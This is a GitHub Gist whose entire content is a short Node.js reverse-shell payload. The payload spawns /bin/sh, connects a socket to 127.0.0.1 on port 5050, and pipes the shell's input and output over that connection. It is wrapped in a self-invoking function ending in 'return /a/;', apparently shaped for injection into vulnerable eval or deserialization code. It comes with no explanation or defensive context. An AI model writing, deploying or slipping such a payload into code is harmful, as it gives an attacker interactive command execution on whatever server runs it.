Skip to content

Instantly share code, notes, and snippets.

@cys7885
Last active June 24, 2021 21:27
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(5050, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment